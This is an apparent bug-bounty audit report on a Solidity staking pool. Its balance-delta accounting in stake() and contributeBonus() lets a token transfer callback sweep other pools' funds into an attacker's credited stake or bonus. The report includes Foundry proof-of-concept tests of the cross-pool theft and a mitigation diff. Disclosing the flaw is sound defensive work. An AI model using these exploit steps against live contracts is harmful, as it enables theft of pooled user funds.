FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: low

Callback balance-delta accounting lets stake and bonus claims absorb unrelated pool funds

Author Revealed upon completion

Callback balance-delta accounting lets stake and bonus claims absorb unrelated pool funds

Description

stake() and contributeBonus() account for the whole pool balance increase observed around safeTransferFrom. If the token can execute a callback during transferFrom, unrelated same-token funds can be pushed into the pool before balanceAfter is read. The pool then treats those unrelated funds as the caller's stake or bonus contribution.

This affects both principal accounting and bonus accounting. The same root also makes recovery-chain and multi-hop variants possible, because any sweep that lands in the target pool during the token callback is included in the caller's received amount.

Vulnerability Details

Normal staking should credit the caller only for tokens transferred by that caller. Instead, stake() trusts the pool's full balance delta across the external token call:

uint256 balanceBefore = stakeToken.balanceOf(address(this));
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
uint256 balanceAfter = stakeToken.balanceOf(address(this));
uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
eligibleStake[msg.sender] += received;
totalEligibleStake += received;

The same pattern exists in contributeBonus():

uint256 balanceBefore = stakeToken.balanceOf(address(this));
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
uint256 balanceAfter = stakeToken.balanceOf(address(this));
uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
totalBonus += received;

During the safeTransferFrom callback, an attacker can call a second pool that sends tokens into the target pool. Examples include claimCorrupted() on a pool whose recoveryAddress is the target pool, sweepUnclaimedBonus() on a pool whose recovery address is the target pool, or a batch that sweeps multiple pools through a recovery chain.

Because the target pool only compares balanceBefore and balanceAfter, it cannot distinguish the attacker's actual transfer from unrelated funds that arrived during the callback.

Impact

An attacker can pay a small stated stake and receive a much larger principal credit backed by funds from another pool. The inflated stake can be withdrawn before risk starts or claimed later through claimSurvived() / claimExpired() even when direct withdrawals are disabled.

The bonus path lets an attacker reclassify another pool's recovery funds as bonus in the target pool, then claim those funds through the target pool's payout path.

The loss scales with the amount swept into the callback. A multi-hop recovery chain can let one small stake absorb balances from multiple upstream pools.

Proof of Concept

Cross-pool principal inflation through stake():

function testCrossPoolCallbackInflatesStakeAndWithdrawsCorruptedSweep() external {
ConfidencePool poolA = _newPool(address(agreementA), recovery);
ConfidencePool poolB = _newPool(address(agreementB), address(poolA));
poolB.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
token.armTransferFromHook(
address(poolA),
attacker,
address(poolA),
address(poolB),
abi.encodeCall(ConfidencePool.claimCorrupted, ())
);
poolA.stake(1e18);
assertEq(poolA.eligibleStake(attacker), 11e18);
poolA.withdraw();
assertEq(token.balanceOf(attacker), attackerBeforeStake + 10e18);
}

Cross-pool bonus inflation through contributeBonus():

function testContributeBonusCallbackCreditsCrossPoolSweepAsBonus() external {
ConfidencePool poolA = _newPool(agreementA, recovery, moderator);
ConfidencePool poolB = _newPool(agreementB, address(poolA), moderator);
_stake(poolA, attacker, 5e18);
_stake(poolB, victim, 10e18);
_flagBadFaithCorrupted(poolB, agreementB);
token.armTransferFromHook(
address(poolA),
attacker,
address(poolA),
address(poolB),
abi.encodeCall(ConfidencePool.claimCorrupted, ())
);
poolA.contributeBonus(1e18);
assertEq(poolA.totalBonus(), 11e18);
_flagSurvived(poolA, agreementA);
poolA.claimSurvived();
}

The same bug can use sweepUnclaimedBonus() as the inflow source:

function testSweepUnclaimedBonusCanBeCallbackInflowSourceForStakeInflation() external {
_contributeBonus(poolB, donor, 10e18);
_flagSurvived(poolB, agreementB);
token.armTransferFromHook(
address(poolA),
attacker,
address(poolA),
address(poolB),
abi.encodeCall(ConfidencePool.sweepUnclaimedBonus, ())
);
poolA.stake(1e18);
assertEq(poolA.eligibleStake(attacker), 11e18);
poolA.withdraw();
}

Recommended Mitigation

Do not credit balance deltas that can include unrelated inflows. For exact-transfer tokens, require the post-transfer balance to equal balanceBefore + amount and credit amount.

Apply this to both stake() and contributeBonus():

uint256 balanceBefore = stakeToken.balanceOf(address(this));
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
uint256 balanceAfter = stakeToken.balanceOf(address(this));
-uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
+if (balanceAfter != balanceBefore + amount) revert InvalidAmount();
+uint256 received = amount;

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!